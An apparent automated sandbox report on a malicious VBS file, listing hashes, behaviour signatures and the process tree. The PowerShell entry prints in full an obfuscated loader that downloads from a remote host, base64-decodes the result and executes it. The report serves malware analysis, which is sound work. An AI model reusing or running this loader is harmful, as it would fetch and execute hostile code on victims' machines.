1272222474d0a004d1d74e17acd3c30105a92a13fe1e50168ea0c68f460f268e

General

Target

temp.vbs
Size

71KB
MD5

eb3f3f1471a124dbe6072f3ef42509d3
SHA1

2992f70f82729ec0e3f09165fa566544a80c9e12
SHA256

1272222474d0a004d1d74e17acd3c30105a92a13fe1e50168ea0c68f460f268e
SHA512

405f022877711eb5ee2c4969e797388bd471662dc5832ab761d498d5c3994f4048190226d5a04101dd95c9a2f256d098a7aaafbbf78331fbf2f321645dbaa2fd
SSDEEP

1536:91gXvG0t/qdzisXIelHdhar/kV+rihMY/HDzs7qfvlEiHGDB:9uPYZisYelnars++7PDYq3LGDB

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	process
3	2992	powershell.exe
4	2992	powershell.exe
5	2992	powershell.exe
6	2992	powershell.exe
7	2992	powershell.exe
8	2992	powershell.exe
9	2992	powershell.exe
10	2992	powershell.exe
11	2992	powershell.exe
12	2992	powershell.exe
13	2992	powershell.exe
14	2992	powershell.exe
15	2992	powershell.exe
16	2992	powershell.exe
17	2992	powershell.exe
18	2992	powershell.exe
19	2992	powershell.exe
20	2992	powershell.exe
21	2992	powershell.exe
22	2992	powershell.exe
23	2992	powershell.exe
24	2992	powershell.exe
25	2992	powershell.exe
26	2992	powershell.exe
27	2992	powershell.exe
28	2992	powershell.exe
29	2992	powershell.exe
30	2992	powershell.exe
31	2992	powershell.exe
32	2992	powershell.exe
33	2992	powershell.exe
34	2992	powershell.exe
35	2992	powershell.exe
36	2992	powershell.exe
37	2992	powershell.exe
38	2992	powershell.exe
39	2992	powershell.exe
40	2992	powershell.exe
41	2992	powershell.exe
42	2992	powershell.exe
43	2992	powershell.exe
44	2992	powershell.exe
45	2992	powershell.exe
46	2992	powershell.exe
47	2992	powershell.exe
48	2992	powershell.exe
49	2992	powershell.exe
50	2992	powershell.exe
51	2992	powershell.exe
52	2992	powershell.exe
53	2992	powershell.exe
54	2992	powershell.exe
55	2992	powershell.exe
56	2992	powershell.exe
57	2992	powershell.exe
58	2992	powershell.exe
59	2992	powershell.exe
60	2992	powershell.exe
61	2992	powershell.exe
62	2992	powershell.exe
63	2992	powershell.exe
64	2992	powershell.exe
65	2992	powershell.exe
66	2992	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2992 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2992 powershell.exe

pid	process
2992	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1964 wrote to memory of 2992	1964	WScript.exe	powershell.exe
PID 1964 wrote to memory of 2992	1964	WScript.exe	powershell.exe
PID 1964 wrote to memory of 2992	1964	WScript.exe	powershell.exe
PID 2992 wrote to memory of 2720	2992	powershell.exe	cmd.exe
PID 2992 wrote to memory of 2720	2992	powershell.exe	cmd.exe
PID 2992 wrote to memory of 2720	2992	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\temp.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Autarkically189 = 1;$Indgangssignaletnstruktionsbger='Sub';$Indgangssignaletnstruktionsbger+='strin';$Indgangssignaletnstruktionsbger+='g';Function Quadmeter($Dopingsigtet){$Dumpeprocenter=$Dopingsigtet.Length-$Autarkically189;For($Indgangssignalet=5;$Indgangssignalet -lt $Dumpeprocenter;$Indgangssignalet+=6){$Forlys+=$Dopingsigtet.$Indgangssignaletnstruktionsbger.Invoke( $Indgangssignalet, $Autarkically189);}$Forlys;}function Flaprer($Caissoned){& ($Sopites) ($Caissoned);}$Generalisternes=Quadmeter 'PylorM edto ,ildzI raeiMa oel Uerhl Falsahejka/Timia5 L ft.Gar,e0Andro K,rre(M.ckeW,evaaiSvinenAnti.dLandgo FluewSkalksgarnn OraclNJaponTYoudi Gr,ni1Codd 0Unde,.S ick0Tilkr;Event BistW joiniContrn .chw6 Hrin4S,vsu;Hapte Seg exRende6Gaine4Prebl;J.mps Pu prBoligv Fort: Edu.1 Hete2 cure1Vomme.Mona.0A.pel)Omber Vra.tG Trafe Her.cG,laxkMonisoHensl/Unsea2Foeta0Dekup1Wares0 udpl0Redes1Bepow0Muted1slapp .raktFPlaitiFuskerKentoe Ba,rf Tra,oUtrovxvedes/ Anda1Utilf2 Damp1 Trid.Bus,i0Ilixa ';$Lifeblood=Quadmeter 'FolkeUCroo s merceBestyrSulmu-KlimaAGul bgAnecdeSlut,nProtot luma ';$Postfrontal=Quadmeter 'Ca dihVaabetD llat.unktpSf.rbs Ndve:Hjlan/Broo / rickrCatkiacors,nOverlcT,enehPatruoT,ldebSupero Pol.sFrembcDickeaLecitr Sv.ndLatheiStyktnFilmo.Sweepcshaveo S pemCapit.PollybKulbrrSvend/Me.alcSk,ttsNasc /Hupa.RUnex rEnangk refonTas eo Jugeg HanelEva,geIgnitrP ntenF,rdreForst.A gotaKinetsAkkordBrug, ';$Uninnocuous=Quadmeter 'Kundg>Provi ';$Sopites=Quadmeter ',ablei RealePrespxTe,ef ';$Sorteringsmulighederne='Exclusion';$Opkaldsprisen = Quadmeter 'Se.areNoteacoprejhJovasoLeann Bem r%BiofeaD strp Stutp KviedDin oa Kurit Unscaman,e% Kono\OluffATraf k AareeUndernIsopyb ,kikocererlUnderdTindi.MissiuS,ilnd ,nntf Enta pos r&Plasm& Proc M,rateO erpcProtohUnmeeod zzi Hres.tHavmi ';Flaprer (Quadmeter ' Blus$Urgeng GerulFryseo Lempb FrdiaLs lulAn gg:Sta,sMBras,aScombrDoedsi JuleaYndlin acroe Udso=Drukk(Kolp,cWap,emTomatdTr.ll Unris/Ch ckc Exto Visib$Un erOmag,rpLinjekEntraaOverfl ,hardFulnes rtepCodesrRe rniBeloesTerraeXylopnBr.es)Sikke ');Flaprer (Quadmeter 'Beund$Ophiug BaptlFissio O dlbUdfaka.ordblWangl: EmbiSVetkotStnkso.rimeoPellenmediz= Rver$ MetoPProteo Parks EmantIoannfunsierC.nfioRo ernSkotjtBistiaKlimalOrico. Bisis nhidp Opbel frigi StiltScamb( tale$InsecUAlternKnapbiUltran urunnRefrao e accRd.hau InaloGoo,euSagitsArbut)Sickl ');$Postfrontal=$Stoon[0];$prespakket= (Quadmeter 'Blegs$ WoengBicyclNarkooNon.ubVagotaFald.lsingu:V.jrsH G gguMillicUnmedkExtrisArtictEcchae Bul.r Prece predrOuthu=LoneyNTo.sieOrthowPerfe-PigeoOAndalbSu.jejDrasteFrigrcOracutFntrr Bss.SProctyDeckhsWhimbtCetaneEmbramLe,be.AcapnNKubeueBr kvtPost . GeneWNondeeSu,nobHelheC H melplaniiKrisee Xylon rist');$prespakket+=$Mariane[1];Flaprer ($prespakket);Flaprer (Quadmeter ' vato$ ShelHPierlu emmecDuks kKbsprs G ostRaf ie ,erirSan.eeMe osrPtose. SlatH StriehundraForgadSpe.keTubulr SknhsSkift[Os.eo$KonceLForbliMi.spf DieseKod.obLder.l ListoUnderoGare.dVou h]Pupil=Indyn$ CedeGRareteAnticn robeKod fr MaunaNonful Wonki.getisMediotPrincepsychrFors.nWebbeeoctansBgetr ');$Sedimentology=Quadmeter 'Forsg$CholoHFollouMo.incMichakCrudss bucctJevgeePs,udrUnde eSveskrP.ese.OyezeDProtaoCo bowDisfanHjernlFremfoBeskmaorgand BuslFsprayihelbrlVentreSkamf(Natur$enk sPOssifoSydkos Nonst FrihfJusterTakvioE,iksn RichtFolkeafilmil Un m,ele.t$SchweSMismoeKemikn.ftrasDiagniSub to TailnZa cl)Repro ';$Sension=$Mariane[0];Flaprer (Quadmeter 'F sty$cantlg ulteliv rao NonpbPr.reavandslE imi: .easI O,ygbBronzoSkee.eBleganMorfid BaadeHaptosHtte.=Hippo(taljeT arteFaldlsG bbetGl.sp-GgetsPVildta Gri,tStoddhoutpu udfol$ KodeS H,nseIngvenRundtsho.nwiAllowoB ogrnG,atb)Outsi ');while (!$Iboendes) {Flaprer (Quadmeter 'Diale$ ,notgSimull Bjero lagebS,iklaMacrolMiste:Fryt rtorpeeTalefw L llaEmbrokMycetiF.rlanKh ttgOuttr= Efte$,elgetarti,rSandiuCirc eFlabe ') ;Flaprer $Sedimentology;Flaprer (Quadmeter 'I.bjeSluthetBejaeaGleb,rHou et Gest- Nav SVinealAni.oeBriefeTroldpF.jia Rollo4Viru, ');Flaprer (Quadmeter 'Tryll$ infigTrafilTftinoAmpulb LudlaCheatlConso:BrndeI In ubThatconatioeConfin GalidFinene TerrsSkabs=Indle(SumplTPolite BeausClitutAnato- eakPHalluaFlammtS,linhUneli Pipet$ ConiSI dolePuppenSa,icscynomiFatt oPensinTande)Charl ') ;Flaprer (Quadmeter ' Nond$StilegSuccelUp taoKraftbImmeaaKontrlAf ci:Su,taNNul.teUnderw,krivsModstp MetaaKont,pTn,haeBegrbrAmalgw Sty,o uncomTrisoaTractnFiske=Sabao$ SivegProtalFrancoEsp,rbSuppeaKaliblYderv:Dok,eBopskrip,wdol PolslSonateFodredHdersgLseh.aKar,olSh,inlFileteBef lrKiliaiEn.ase He.srSu,penSt afe.esvr+ nfo+U,kke%Bordi$ MistS AfhatBogs,oHe taoBrnefn sams.Snipeclo,aloU deruartisnMonert Ste, ') ;$Postfrontal=$Stoon[$Newspaperwoman];}$Bortfaldets=331483;$Poultice=30104;Flaprer (Quadmeter 'Skra,$Jo,dfgSko,al,ovino P,ptbskaana heatlAll.n:UdbetTublufr.fspioBajadvfips,a UnretMinisoFiltrr SarieAntip Shri = skbn BietGTr gaeCo,sutVitam-TelocC S psoNephrn Dil.t FakueRaadynK oketBric Disso$ arinSAmazee ircn ,ndesKu,suiLatk,o f,ldnSnder ');Flaprer (Quadmeter 'De,ar$MetapgAlloclBethooInadvbHillbaTwic,lFilip:PrismHMedgaablegvzBitmaaI.idar.nebodGuttoiSvanesPeutieParoqspot.t Afnat=Pl ty Feti[,amilSNanosyAriids NonetSma.semucovmDisda. BeviCRetteo skr ncentrv unadeRenslrImplat Radi]Aarli:fdeva: AchrF.eogrrAt mioUdspemBygniBFusenaSigtesDybh.eStave6A,nes4AuspiS TjentOmvejrTernii Lin.nSkrubgeuryc(Kneb $KnaplTKra arS,xmio BestvParacaNumistIngefo nonirCent,eSisle) Homo ');Flaprer (Quadmeter 'Hoved$plukngE.ikelbrawnoAtlanb Ud.ia Trk.lLilia: ,oelSBi,alasim ldF,bridko.mue SkomlNetvrmstodgaBu lsgSchzjeFolkerG dssa KinnrGripybGag reSadisj DolldBesteeRkenlsStaff Foder=Airti super[StoltSSt.dgy CapesPostutHovedeAvogamDemag.Klun,TMononePaymax apentmaras. HedeEBrndsnNeurocVo,alo onomdEvighiFod onResolgWhitl]No.pr:batik:JechoAdetalSVirkeC Sub,IFrienISnadr. VigtG MesoeFili.tOtopaSFedtit.obberSalzfiRewaknG,nopgAlarm(L,ane$PopulHDrmmeaCentrzAfd laPhenor JuandEl rii Flaksbyta eMakkes .sdi)Numme ');Flaprer (Quadmeter 'hem.a$ModergApplalMozaroMisfibEg.nvaFertilOver :Vagtls undeoTet.acDi,ori Hyp aIn,uslb,irui UncosSymmevUr nem Hjlpr.naud= Unva$UnturSSpr.naBeskudYestod FebreFotoelOutram SelvaUnpasgHoldfeKantar BornaAdiporFusepbAnidreGanerjSkilldEjerteEntossUncov.WarslsTilveuKastabBurresStewatU,gagrOrcaniLicounEpexegHybe (Circu$SonniB SammoNonenr BohetProb.f Tilda .erolSammed L.reem.nudtTanglsOpkal,Untru$PamflPIdioto De xuUnharlSweeptHobbyiSteppcEf.ereS.ien)Siree ');Flaprer $socialisvmr;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Akenbold.udf && echo t"
3⤵
PID:2720

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2992-4-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

Filesize
4KB

Download
memory/2992-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2992-6-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2992-7-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2992-8-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2992-9-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2992-10-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2992-11-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2992-12-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

Filesize
4KB

Download
memory/2992-13-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads